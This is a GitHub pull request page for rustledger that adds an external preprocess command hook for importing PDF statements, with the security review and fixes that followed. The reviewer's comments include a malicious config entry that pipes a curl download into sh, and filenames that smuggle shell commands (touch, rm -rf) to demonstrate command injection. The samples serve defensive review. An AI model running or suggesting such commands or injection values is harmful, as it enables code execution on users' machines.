Skip to content

feat: external preprocess hook for PDF and other unsupported formats - #1786

Merged
robcohen merged 4 commits into
mainfrom
feat/external-preprocess-hook
Aug 8, 2026
Merged

robcohen merged 4 commits into
mainfrom
feat/external-preprocess-hook

Conversation

@robcohen

Copy link
Copy Markdown
Member

Phase 0 of PDF import per the roadmap discussion: rather than shipping a parser, let the user declare how a PDF (or xlsx, or anything) becomes importable — an external command whose output feeds the existing pipeline. A native text-layer parser is the planned phase 1 behind the same config surface.

Usage

[[importers]]
name = "mybank-pdf"
filename_pattern = "*.pdf"
account = "Assets:Checking"
preprocess = ["sh", "-c", "pdftotext -layout {input} - | mybank-table-to-csv"]
date_column = "Date"
amount_column = "Amount"

The command runs BEFORE format detection: {input} is replaced with the statement path and stdout lands in a temp .csv, so --auto inference, dispatch, and column mapping all operate on the preprocessed content unchanged.

Design

  • argv array, not a shell string — no shell interpolation of config values; {input} is the only substitution (users opt into a shell explicitly via ["sh", "-c", ...]).
  • Canonical schema: the field lives in rustledger_importer::toml_entry, shared with the component — which rejects entries that set it with actionable guidance (a WASI component cannot exec; GUI hosts preprocess themselves and pass bytes).
  • Trust model documented in the schema docs, docs/commands/extract.md, and the roadmap: this executes user-authored config, the same boundary as a shell alias or a beangulp Python importer — and a community profile registry must never carry preprocess entries.
  • Failing commands surface exit status + stderr, not a downstream CSV parse error.

Testing

End-to-end .pdf-named import through a stand-in preprocessor (cat), command-failure error surfacing, schema parse test, component-rejection test (all cfg(unix) where they exec). Clippy -D warnings, fmt, full crate suites clean.

🤖 Generated with Claude Code

@robcohen
robcohen requested a review from a team as a code owner July 12, 2026 16:42
Copilot AI review requested due to automatic review settings July 12, 2026 16:42

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new preprocess hook to importer TOML entries so users can run an external command (e.g., pdftotext) to convert PDFs or other unsupported formats into CSV/text that flows through the existing rledger extract pipeline; the WASI component explicitly rejects this config surface with guidance.

Changes:

  • Introduces preprocess: Option<Vec<String>> on rustledger_importer::toml_entry::ImporterEntry and documents its trust model.
  • Implements CLI-side preprocessing in rledger extract by executing the configured command and feeding stdout to the rest of the pipeline via a temp .csv.
  • Updates docs and adds tests, plus a component-boundary rejection test for preprocess.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated 5 comments.

Show a summary per file
File Description
docs/roadmap/importing.md Updates roadmap entry to describe phased PDF support starting with preprocess.
docs/commands/extract.md Documents preprocess usage, trust model, and component limitation.
crates/rustledger/src/cmd/extract_cmd/mod.rs Adds maybe_preprocess + wiring in run_with_writer, and CLI tests for preprocess behavior.
crates/rustledger/Cargo.toml Adds tempfile dependency for preprocess temp output.
crates/rustledger-importer/src/toml_entry.rs Extends importer entry schema with preprocess and a parsing test.
crates/rustledger-ffi-component/src/convert.rs Rejects preprocess in component config with actionable guidance + test.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

@robcohen
robcohen enabled auto-merge (squash) July 12, 2026 17:23
@robcohen
robcohen force-pushed the feat/external-preprocess-hook branch from 953e59c to 7c3a721 Compare July 12, 2026 17:23
@github-actions

github-actions Bot commented Jul 12, 2026 •

Copy link
Copy Markdown
Contributor

📊 Benchmark Results

Tool Time Memory
rustledger 39.5ms ± 4.7ms 24.2 MB
beancount 749.8ms ± 2.9ms 50.9 MB
Comparison 19x faster 2.1x less

vs main branch (2026-08-08)

Metric main this PR Change
Time 38.2ms 39.5ms +3.4% ✅
10K transactions · 5 runs, 2 warmup · hyperfine
What do these numbers mean?
  • Time: Wall-clock time to parse and validate the ledger (± std dev)
  • Memory: Peak resident set size (RSS)
  • vs main: Compared to latest nightly benchmark on main branch

@codecov

codecov Bot commented Jul 12, 2026 •

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 95.29412% with 16 lines in your changes missing coverage. Please review.

Files with missing lines Patch % Lines
crates/rustledger/src/cmd/extract_cmd/mod.rs 94.92% 16 Missing ⚠️

📢 Thoughts on this report? Let us know!

@github-actions

github-actions Bot commented Jul 12, 2026 •

Copy link
Copy Markdown
Contributor

⚠️ Compatibility Test Results

Metric Result
Check Compatibility 100%
BQL Compatibility 95% (raw 89%, 162 masked)
Full AST Match 100%
Total Files 812
What's tested
  • Check: Exit codes and error counts match bean-check
  • BQL: Query results match bean-query
    The headline is the EFFECTIVE rate, after pairs where beanquery
    itself is wrong are masked. raw is the same run with nothing
    masked. A widening gap means the registry grew, not that rledger
    changed.
  • Files: ~800 test files downloaded from 10+ beancount repositories

Full results available in workflow artifacts

@robcohen

Copy link
Copy Markdown
Member Author

This hook is exactly what makes rustledger viable as a drop-in for bespoke PDF importer stacks — declaring preprocess = ["sh", "-c", "pdftotext -layout {input} - | bank-table-to-csv"] per importer lets the messy, bank-specific table extraction live in a thin converter while rustledger owns normalization, dedup, categorization, and review. 👍

One thing that would close the gap for fully retiring custom bank importers: a way to emit per-statement balance assertions. In beancount/hledger workflows the statement closing balance → balance directive is the main integrity net — it catches both missing and duplicate transactions (per Blais's documented import approach). The preprocess→CSV path currently only carries transaction rows, so that signal is dropped.

Is there a planned mechanism for a preprocess/CSV importer to surface a statement's closing balance (e.g. a reserved balance row, a dedicated column, or a sidecar the extractor emits) so rustledger can generate the assertion? Combined with the confidence-scored review flow already on the roadmap, that would let a config-only setup replace a few thousand lines of custom importer code.

@robcohen

robcohen commented Aug 6, 2026

Copy link
Copy Markdown
Member Author

Reviewed the full diff plus the resolution code it interacts with. Copilot's five threads are all legitimate — three of them are one bug — and there is a sixth it did not reach that I think gates the PR.

1. preprocess is reachable from a directory-local config (blocking, in my view)

maybe_preprocess is the first thing run_with_writer does, and it resolves its config through find_importers_config(args.config.as_deref()). With no --config, that falls back to:

if let Ok(cwd) = std::env::current_dir() {
    let local = cwd.join("importers.toml");
    if local.exists() { return Ok(Some(local)); }
}

So rledger extract statement.csv, run in any directory containing an importers.toml you did not write, executes an arbitrary command. No flag, no prompt. An entry of

[[importers]]
name = "x"
filename_pattern = "*"
preprocess = ["sh", "-c", "curl https://…| sh"]

fires on any extract in that directory, because the no---importer branch takes the first pattern match that declares preprocess.

The trust model in the docs — "exactly like a shell alias" — is the part I would push back on. A shell alias lives in your dotfiles. A cwd-discovered importers.toml comes from wherever you happen to be standing: an unzipped statement bundle, a cloned repo, a shared ~/Downloads. That is the trust boundary that has bitten .git/config core.pager, Gradle wrappers, and VS Code workspace settings — and it is why direnv requires an explicit direnv allow per directory rather than documenting the risk.

Config declaring importers from cwd is fine. Config executing commands from cwd is a different thing, and the PR does not currently distinguish them.

Cheapest fix that keeps the feature: honor preprocess only from an explicit --config path or the user config dir, and ignore (with a warning) a preprocess found via cwd discovery. That is a few lines in maybe_preprocess and needs no new UX. A --allow-preprocess opt-in or a direnv-style allow-list are both defensible too, but heavier.

2. The temp path breaks auto-identification — Copilot's [3566703481], [3566703488], [3566703501] are one bug

Confirmed by reading the resolution branch. run_with_writer rebinds:

let file: &Path = preprocessed.as_ref().map_or(file, NamedTempFile::path);

and the config branch then derives filename from that path, so find_matching_importers is matched against rledger-preprocess-XXXX.csv instead of statement.pdf. Consequences, precisely:

  • one importer in the config → saved by the 0 if importers.len() == 1 fallback. Works by accident.
  • more than one → matches.len() == 0, so it errors with No importer matches file 'rledger-preprocess-XXXX.csv' — naming a temp file the user never heard of, after the preprocess command already ran.

The existing test passes only because it uses --importer pdf-bank, which is exactly Copilot's [3566703501]. Keeping the original filename for resolution while feeding the temp path to extraction is the fix; a test with --config and no --importer is what pins it.

Copilot's [3566703488] is the same defect seen from the other end: maybe_preprocess re-implements entry resolution and diverges — no single-importer fallback, and it takes the first match rather than erroring on ambiguity, so the command runs before the later branch reports the ambiguity. Worth noting this is the canonical-function-drift shape CLAUDE.md describes: two places resolve the same entry and nothing asserts they agree. One resolver used by both would fix [3566703481] and [3566703488] together.

3. Copilot's other two — agree, low priority

  • [3566703497] Command::output() buffering. Fair. Streaming stdout into the temp file is strictly better, though pdftotext output is usually small enough that I would not block on it.
  • [3566703509] doc example. Confirmed and worth fixing precisely because the PR body gets it right (["sh", "-c", "… | …"]) while the schema doc says the argv form is "piped through a table-to-CSV script". The doc contradicts the design decision one paragraph above it.

4. Smaller things

  • Config is loaded twice — find_importers_config + load_importers_config in maybe_preprocess, then again in the config branch. Two parses, and two reads that could disagree. Folds away with the shared resolver from §2.
  • No timeout on the child. A preprocess command that hangs hangs rledger with no output. pdftotext on a malformed PDF is a plausible way to get there.
  • eprintln!("Preprocessing with: …") is unconditional and prints the full argv including the input path. Fine as a default, but it is the kind of thing that belongs behind the existing verbosity control.

Overall

The design is right — argv rather than a shell string, canonical schema shared with the component, component rejecting it with actionable guidance. §2 is a straightforward fix. §1 is the one I would not merge without, since it turns "extract a file" into "execute code from the directory you are in", and no amount of documentation in the schema makes that discoverable at the moment it matters.

robcohen added a commit that referenced this pull request Aug 6, 2026
…name

Addresses the review on #1786.

1. SECURITY: `preprocess` no longer runs from a cwd-discovered config.

find_importers_config falls back to ./importers.toml, so `rledger
extract statement.csv` executed an arbitrary command from whatever
directory the terminal was in - an unzipped bundle, a cloned repo, a
shared downloads folder. No flag, no prompt: an entry with
filename_pattern = "*" and a preprocess command fires on any extract
there.

The docs framed this as "exactly like a shell alias". A shell alias
lives in your dotfiles; this does not. It is the boundary direnv makes
you `allow` per directory rather than document.

Config discovery now reports provenance, and preprocess is honored only
for --config and the user config dir. A cwd-discovered entry still
declares columns; only the exec is withheld, with a warning.

2. Auto-identification matched the TEMP filename.

run_with_writer rebound `file` to the preprocessed
rledger-preprocess-XXXX.csv, and the --config branch then matched
filename_pattern against that. So `*.pdf` never matched: a config with
more than one importer failed with "No importer matches file
'rledger-preprocess-...csv'" - naming a file the user never saw, AFTER
the command had run. A single-importer config passed anyway via the
no-match fallback, which is why the original test missed it.

`source_file` keeps the name the user typed for identification; `file`
carries the preprocessed content for dispatch.

3. Entry resolution existed twice and disagreed.

maybe_preprocess re-implemented it with no single-importer fallback,
and took the first of several matches rather than reporting the
ambiguity - running a command before the other branch errored. Both now
call one resolve_config_entry, so the entry that preprocesses is by
construction the entry that extracts. That also removes the second
config load.

4. Streams the child's stdout straight into the temp file instead of
   buffering all of it with Command::output(), and pins stdin to null.

5. Docs: the schema example claimed an argv array could be "piped
   through a table-to-CSV script". It cannot - the PR body's own
   `["sh", "-c", ...]` form is the one that pipes. Both spellings are
   now shown, and extract.md documents the provenance rule.

Two tests, each sabotage-verified: identifying from the temp path again
fails the auto-identify test, and removing the provenance gate fails
the cwd test (which asserts the command did not RUN, via a marker file,
rather than that output looked unchanged).

NOT fixed, worth a follow-up: there is no timeout on the child, so a
hung preprocess command hangs rledger with no output.
Copilot AI review requested due to automatic review settings August 6, 2026 15:46
@robcohen

robcohen commented Aug 6, 2026

Copy link
Copy Markdown
Member Author

Pushed 1043429 addressing all five threads, plus the cwd-discovery issue from my review.

The one that changes behaviour: preprocess is now honored only when the config came from --config or the user config directory. A ./importers.toml found by looking around the current directory still declares columns, but its command is ignored with a warning — so rledger extract statement.csv can no longer execute code because of where the terminal happened to be. docs/commands/extract.md documents the rule as a table.

Both new tests are sabotage-verified, and the cwd one asserts the command did not run — via a marker file the command would touch — rather than that the output merely looked unchanged.

Two things left, deliberately:

  1. No timeout on the child. A hung preprocess command hangs rledger with no output; pdftotext on a malformed PDF is a plausible route. std::process has no timeout API, so it needs a wait-with-timeout helper or a thread, which felt like a separate change rather than something to bundle into a review fix.

  2. The branch is 139 commits behind main. I did not rebase, since that is a bigger diff than the fixes and yours to sequence. Worth doing before merge — extract_cmd has moved underneath this in the meantime.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 7 out of 7 changed files in this pull request and generated no new comments.

Suppressed comments (1)

crates/rustledger/src/cmd/extract_cmd/mod.rs:1234

  • This test changes the process-wide current working directory via std::env::set_current_dir, but Rust tests run in parallel by default. That can cause flaky failures if any other test depends on the current directory (or also mutates it) at the same time. Consider serializing the cwd mutation with a global lock and restoring the cwd via a Drop guard so it is reset even if the test panics.
        // No --config: discovery has to find it in the current directory.
        let prev = std::env::current_dir().unwrap();
        std::env::set_current_dir(dir.path()).unwrap();
        let args = Args::parse_from(["extract", csv.to_str().unwrap()]);
        let mut out = Vec::new();

robcohen added a commit that referenced this pull request Aug 6, 2026
…name

Addresses the review on #1786.

1. SECURITY: `preprocess` no longer runs from a cwd-discovered config.

find_importers_config falls back to ./importers.toml, so `rledger
extract statement.csv` executed an arbitrary command from whatever
directory the terminal was in - an unzipped bundle, a cloned repo, a
shared downloads folder. No flag, no prompt: an entry with
filename_pattern = "*" and a preprocess command fires on any extract
there.

The docs framed this as "exactly like a shell alias". A shell alias
lives in your dotfiles; this does not. It is the boundary direnv makes
you `allow` per directory rather than document.

Config discovery now reports provenance, and preprocess is honored only
for --config and the user config dir. A cwd-discovered entry still
declares columns; only the exec is withheld, with a warning.

2. Auto-identification matched the TEMP filename.

run_with_writer rebound `file` to the preprocessed
rledger-preprocess-XXXX.csv, and the --config branch then matched
filename_pattern against that. So `*.pdf` never matched: a config with
more than one importer failed with "No importer matches file
'rledger-preprocess-...csv'" - naming a file the user never saw, AFTER
the command had run. A single-importer config passed anyway via the
no-match fallback, which is why the original test missed it.

`source_file` keeps the name the user typed for identification; `file`
carries the preprocessed content for dispatch.

3. Entry resolution existed twice and disagreed.

maybe_preprocess re-implemented it with no single-importer fallback,
and took the first of several matches rather than reporting the
ambiguity - running a command before the other branch errored. Both now
call one resolve_config_entry, so the entry that preprocesses is by
construction the entry that extracts. That also removes the second
config load.

4. Streams the child's stdout straight into the temp file instead of
   buffering all of it with Command::output(), and pins stdin to null.

5. Docs: the schema example claimed an argv array could be "piped
   through a table-to-CSV script". It cannot - the PR body's own
   `["sh", "-c", ...]` form is the one that pipes. Both spellings are
   now shown, and extract.md documents the provenance rule.

Two tests, each sabotage-verified: identifying from the temp path again
fails the auto-identify test, and removing the provenance gate fails
the cwd test (which asserts the command did not RUN, via a marker file,
rather than that output looked unchanged).

NOT fixed, worth a follow-up: there is no timeout on the child, so a
hung preprocess command hangs rledger with no output.
Copilot AI review requested due to automatic review settings August 6, 2026 17:33
@robcohen
robcohen force-pushed the feat/external-preprocess-hook branch from 1043429 to bc6eb54 Compare August 6, 2026 17:33
@robcohen

robcohen commented Aug 6, 2026

Copy link
Copy Markdown
Member Author

Rebased onto main (bc6eb547c), so this is no longer DIRTY — it was 140 commits behind with 5 conflict points.

One real conflict, and it is the drift I ran into writing the fix: find_importers_config on this branch used dirs::config_dir().join("rledger"), while main has since moved to crate::config::user_config_file("importers.toml"). Resolved by taking main's API with the provenance return type the fix adds. The other four resolved automatically.

Verified after rebasing rather than assuming the resolution was faithful — a bad merge here could have silently dropped the fix while still compiling:

check result
cargo test --workspace 132 suites, 0 failures
clippy --workspace --all-targets (1.97) clean
cargo doc clean
sabotage: identify from the temp path again fails the auto-identify test ✓
sabotage: remove the provenance gate fails the cwd test ✓

Both guards still fire, which is the part that matters — the rebase touched the exact file the provenance gate reads.

Note on CI right now: the runner fleet is degraded. Main itself has 16 jobs red, every one failing at GitHub's Set up job step before any checkout, and the three CodeQL failures on this PR were the same. So red checks in this window are not evidence about the code — and green is not much evidence either, since a job that never ran tells you nothing.

Still open from my review and not addressed here: no timeout on the preprocess child, so a hung command hangs rledger with no output. std::process has no timeout API, so it wants a wait-with-timeout helper — a separate change rather than something to fold into a review fix.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot encountered an error and was unable to review this pull request. You can try again by re-requesting a review.

@robcohen

robcohen commented Aug 7, 2026

Copy link
Copy Markdown
Member Author

Deep review — two findings, both verified by running them

1. Command injection through {input}, in the pattern the docs recommend 🔴

docs/commands/extract.md recommends:

preprocess = ["sh", "-c", "pdftotext -layout {input} - | mybank-table-to-csv"]

{input} is substituted by String::replace into an argument that sh -c then parses as a command string. The filename is spliced in unquoted.

Verified, not theorised — a file named a;touch PWNED;b.pdf, with a config that is entirely the user's own (--config my-config.toml, so every trust gate in this PR passes):

Preprocessing with: sh -c cat a;touch PWNED;b.pdf
error: preprocess command `sh` failed (exit status: 127): cat: a: No such file or directory
$ ls PWNED
PWNED          <-- the injected command ran

This is what makes it worth flagging: the PR reasons very carefully about config provenance, and then the filename — equally attacker-influenced, and the whole point of this feature is importing files you downloaded — reaches a shell unquoted. rledger extract ~/Downloads/*.pdf is arbitrary code execution with a config you wrote yourself.

The argv form is genuinely safe (no shell, so the doc's argv-vs-shell explanation is right); it's only the sh -c recommendation that opens this. The fix is a doc change — pass the path as a positional rather than splicing it:

preprocess = ["sh", "-c", "pdftotext -layout \"$1\" - | mybank-table-to-csv", "_", "{input}"]

Verified this both blocks the injection and still imports correctly with the same adversarial filename. Worth stating the rule explicitly in the trust-model section: {input} is safe as its own argv element and unsafe inside a shell command string.

2. --auto now fails on a config it should never have read 🟠

maybe_preprocess runs unconditionally at the top of run_with_writer, and calls find_importers_config_with_source → load_importers_config → resolve_config_entry. But --auto and the raw-CLI-args paths never consulted a config at all before this PR.

resolve_config_entry errors on ambiguity, and it runs before both the preprocess.is_some() check and the cwd guard — so a discovered config aborts the run even when no entry declares preprocess:

$ ls
importers.toml   statement.csv          # two importers, both matching, no preprocess anywhere

$ rledger extract --auto statement.csv          # this PR
error: Multiple importers match file 'statement.csv': a, b. Use --importer to select one.

$ rledger extract --auto statement.csv          # main
Auto-detected format (confidence: 90%):
2026-07-01 * "Coffee"

Same for a config that merely fails to parse: --auto now surfaces its error. A user with a broken or ambiguous importers.toml loses --auto and the raw-CLI path entirely.

Two orderings fix it, and I'd suggest both:

  • Move the ConfigSource::CurrentDirectory guard and a cheap "does any entry even declare preprocess?" check ahead of resolve_config_entry, so resolution errors only surface on paths that were going to resolve anyway.
  • Make config-load failure in maybe_preprocess non-fatal unless --config named it explicitly — a config the user didn't ask for shouldn't be able to fail a command that doesn't use it.

Things I checked that are fine

  • Command::output() does not override an explicitly-set .stdout() — setup_io uses self.stdout.as_ref().unwrap_or(&default) — so streaming into the temp file works as documented, and the test proves it.
  • {input} is substituted into rest only, never into program. Right call.
  • The source_file / file split, and auto-identification matching the user's name rather than the temp file — correct, and the two-importer test is the right shape to catch the regression it describes.
  • resolve_config_entry genuinely deduplicates the two divergent resolvers, and the --importer arm is reachable only via maybe_preprocess (the --config branch already handled it), so it isn't dead.
  • The component-boundary rejection is right, and it fails closed.

One design question, not a blocker

find_importers_config_with_source checks ./importers.toml before ~/.config/rledger/importers.toml. So a cwd-discovered config still shadows the user's own for account, columns and mappings — everything except the exec. Given this PR's own reasoning ("a config found in the current directory belongs to whoever put a file there"), booking to an attacker-chosen account from a shadowing config is the same argument at lower severity. Pre-existing precedence, but this is the PR that introduces the trust model, so it's the natural place to either reverse the order or say why cwd-wins is deliberate.

@robcohen

robcohen commented Aug 7, 2026

Copy link
Copy Markdown
Member Author

Both findings fixed in 7ef2b4f, plus two things the sabotage pass turned up that the tests alone wouldn't have.

1. The shell splice is now refused, not documented around

{input} embedded in an argument passed to a shell (sh, bash, zsh, dash, ksh, ash, fish, csh, tcsh) is rejected with the rewrite in the message:

error: `preprocess` splices {input} into a `sh` command string, which is command
injection: the shell re-parses the statement's filename, and a file named
`a;rm -rf ~;b.pdf` would run `rm`.

Found: "cat {input}"

Pass the path as a positional argument instead, so the shell never re-parses it:

    preprocess = ["sh", "-c", "… \"$1\" …", "_", "{input}"]

Or drop the shell entirely — {input} as its own argv element is always safe:

    preprocess = ["pdftotext", "-layout", "{input}", "-"]

Refusing rather than warning, because this is stderr in the middle of a batch import — silent when it works, catastrophic when it doesn't — and the feature has never shipped, so nothing is being broken.

{input} as its own argv element stays allowed, which is what makes the positional form work and why the plain argv form was never affected. Verified all three against the built binary with the filename a;touch PWNED;b.pdf: splice refused and no marker, positional imports correctly and no marker, plain argv unchanged.

Both doc copies (extract.md and the preprocess rustdoc) now use the positional form, with a table making the rule explicit — and the trust-model section now says outright that it is about the config, and the filename is a separate untrusted input.

2. --auto no longer reads a config it doesn't use

Config discovery is split out of maybe_preprocess and no longer reports its own errors. Not swallowing them: every path that uses a config loads and resolves it again below and reports the identical error from there. Reporting it from preprocessing only added the case where a path that doesn't use a config gets failed by a file it would never have read.

3. Two things the sabotage pass caught

A condition of mine that did nothing. The silencing started as if !(args.config.is_some() || args.importer.is_some()) — the user who named a config should hear about it. Making it unconditional failed no test, because --config broken.toml still errors from the branch below. A condition whose removal nothing can detect is complexity pretending to be caution. Removed. The declares-preprocess early-out is likewise undetectable; kept for the work it saves, but relabelled as an early-out rather than a guard so nobody later leans on it.

A test that needed both fixes removed to fail. The first --auto regression test is guarded by two independent mechanisms, so a single-point regression would have slipped through. Added an unparsable-config sibling that isolates the load-bearing one, and said so in both docstrings.

4. A pre-existing flake, made visible

std::env::set_current_dir is process-global and cargo runs tests on threads. The cwd-discovery test already had this latent; adding a second cwd test made it fail about half the time. All three now go through a with_cwd helper behind a mutex that restores the directory even on panic. Stable over five consecutive runs.

Left alone

The ./importers.toml-before-~/.config precedence from my earlier comment — reversing search order is a behavior change beyond these two fixes and wants your call.

Sabotage-verified: removing the splice guard, exempting whole-element {input}, and removing the silencing each fail exactly one test; restored is green. cargo test --workspace — 132 suites, 0 failures. Clippy and fmt clean.

robcohen and others added 4 commits August 8, 2026 23:02
An importer entry can now declare `preprocess = ["cmd", "args"...]` —
an argv array run before format detection: `{input}` arguments are
replaced with the statement path, and stdout becomes the content the
whole existing pipeline consumes (temp .csv, so --auto inference,
dispatch, and column mapping work unchanged). This makes PDF
statements importable TODAY via the user's tool of choice
(pdftotext + a table script), with a native text-layer parser as the
planned phase 1 (roadmap row updated to the phased plan).

Design points:
- argv array, not a shell string — no shell interpolation of config
  values; `{input}` is the only substitution.
- The schema field lives in the canonical toml_entry module; the
  WASI component rejects entries that set it with guidance (a
  component cannot exec — the host preprocesses and passes bytes).
- Trust model documented in the schema, the command docs, and a note
  that a community profile registry must never carry preprocess
  entries: this executes user-authored config, the same boundary as
  a shell alias or a beangulp Python importer.
- Failing commands surface their exit status and stderr, not a
  confusing CSV parse error.

Tests: end-to-end .pdf-named import via a stand-in preprocessor,
command-failure error surfacing, schema parse, component rejection.

Co-Authored-By: Claude Fable 5 <[email protected]>
…name

Addresses the review on #1786.

1. SECURITY: `preprocess` no longer runs from a cwd-discovered config.

find_importers_config falls back to ./importers.toml, so `rledger
extract statement.csv` executed an arbitrary command from whatever
directory the terminal was in - an unzipped bundle, a cloned repo, a
shared downloads folder. No flag, no prompt: an entry with
filename_pattern = "*" and a preprocess command fires on any extract
there.

The docs framed this as "exactly like a shell alias". A shell alias
lives in your dotfiles; this does not. It is the boundary direnv makes
you `allow` per directory rather than document.

Config discovery now reports provenance, and preprocess is honored only
for --config and the user config dir. A cwd-discovered entry still
declares columns; only the exec is withheld, with a warning.

2. Auto-identification matched the TEMP filename.

run_with_writer rebound `file` to the preprocessed
rledger-preprocess-XXXX.csv, and the --config branch then matched
filename_pattern against that. So `*.pdf` never matched: a config with
more than one importer failed with "No importer matches file
'rledger-preprocess-...csv'" - naming a file the user never saw, AFTER
the command had run. A single-importer config passed anyway via the
no-match fallback, which is why the original test missed it.

`source_file` keeps the name the user typed for identification; `file`
carries the preprocessed content for dispatch.

3. Entry resolution existed twice and disagreed.

maybe_preprocess re-implemented it with no single-importer fallback,
and took the first of several matches rather than reporting the
ambiguity - running a command before the other branch errored. Both now
call one resolve_config_entry, so the entry that preprocesses is by
construction the entry that extracts. That also removes the second
config load.

4. Streams the child's stdout straight into the temp file instead of
   buffering all of it with Command::output(), and pins stdin to null.

5. Docs: the schema example claimed an argv array could be "piped
   through a table-to-CSV script". It cannot - the PR body's own
   `["sh", "-c", ...]` form is the one that pipes. Both spellings are
   now shown, and extract.md documents the provenance rule.

Two tests, each sabotage-verified: identifying from the temp path again
fails the auto-identify test, and removing the provenance gate fails
the cwd test (which asserts the command did not RUN, via a marker file,
rather than that output looked unchanged).

NOT fixed, worth a follow-up: there is no timeout on the child, so a
hung preprocess command hangs rledger with no output.
…ing failing --auto

Two findings from review, both reproduced against the built binary
before and after.

1. COMMAND INJECTION, in the pattern the docs recommended

docs/commands/extract.md said:

    preprocess = ["sh", "-c", "pdftotext -layout {input} - | to-csv"]

`{input}` is plain text replacement into an argument that `sh -c` then
parses as SOURCE. A file named `a;touch PWNED;b.pdf` created PWNED,
with a config that was entirely the user's own - so every provenance
gate this PR added passed, and the injected command ran anyway.

That is the hole in the trust model as written: it reasons carefully
about where the CONFIG came from, and the FILENAME is an equally
untrusted input in the exact shape it recommended. Importing files you
downloaded is the whole point of the feature.
`rledger extract ~/Downloads/*.pdf` was arbitrary code execution.

Now refused, not warned. This is stderr in the middle of a batch
import, it is silent when it works and catastrophic when it does not,
and the remedy is one line. The feature has never shipped, so nothing
is broken. The error carries the rewrite:

    preprocess = ["sh", "-c", "… \"$1\" …", "_", "{input}"]

`{input}` as its own argv element stays allowed - that is what makes
the positional form work, and it is why the plain argv form
(["pdftotext", "-layout", "{input}", "-"]) was never affected: no
shell, so nothing re-parses the path.

2. --auto FAILED ON A CONFIG IT NEVER READS

`maybe_preprocess` ran unconditionally and resolved a config entry up
front. `--auto` and the raw-argument path build their config without
reading importers.toml at all, so:

    $ ls
    importers.toml  statement.csv     # two matching importers, no preprocess

    $ rledger extract --auto statement.csv
    error: Multiple importers match file 'statement.csv': a, b.

Built main to confirm this was a regression and not pre-existing; main
imports the file. Same for a config that merely fails to parse.

Split config discovery (fallible) from running the command, and
discovery no longer reports its own errors. Not swallowing them: every
path that USES a config loads and resolves it again below and reports
the identical error from there. Reporting it from preprocessing only
adds the case where a path that does not use a config gets failed by a
file it would never have read.

3. TESTS THAT CANNOT FAIL, AND A CONDITION THAT DID NOTHING

Sabotaging each mechanism separately turned up two things the tests
alone would not have:

- The first --auto regression test passes with EITHER fix removed,
  because two mechanisms independently keep it green. That is depth,
  not vacuity - it fails with both gone - but a single-point regression
  would have slipped. Added an unparsable-config sibling that isolates
  the silencing, which is the load-bearing one, and said so in both.

- The silencing started as `if !(args.config.is_some() ||
  args.importer.is_some())`, on the theory that a user who named a
  config should hear about it. Making it unconditional failed NO test -
  because `--config broken.toml` still errors, from the branch below.
  A condition whose removal nothing can detect is complexity pretending
  to be caution. Removed.

- The declares-`preprocess` early-out is likewise undetectable by test.
  Kept, because it skips resolving a config on every extract run that
  cannot need one, but relabelled as an early-out rather than a guard
  so nobody later leans on it for correctness.

4. A PRE-EXISTING TEST FLAKE, MADE VISIBLE

`std::env::set_current_dir` is process-global and cargo runs tests on
threads. One cwd-mutating test was already latent here; adding a second
made it fail about half the time. All three now go through a
`with_cwd` helper behind a mutex, restoring the directory even on
panic. Verified stable over five consecutive runs.

Sabotage-verified: removing the splice guard, exempting whole-element
{input}, and removing the silencing each fail exactly one test;
restored is green. cargo test --workspace: 132 suites, 0 failures.
@robcohen
robcohen force-pushed the feat/external-preprocess-hook branch from 7ef2b4f to 2136204 Compare August 8, 2026 23:08
@robcohen
robcohen merged commit 8e0a578 into main Aug 8, 2026
49 of 51 checks passed
@robcohen
robcohen deleted the feat/external-preprocess-hook branch August 8, 2026 23:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants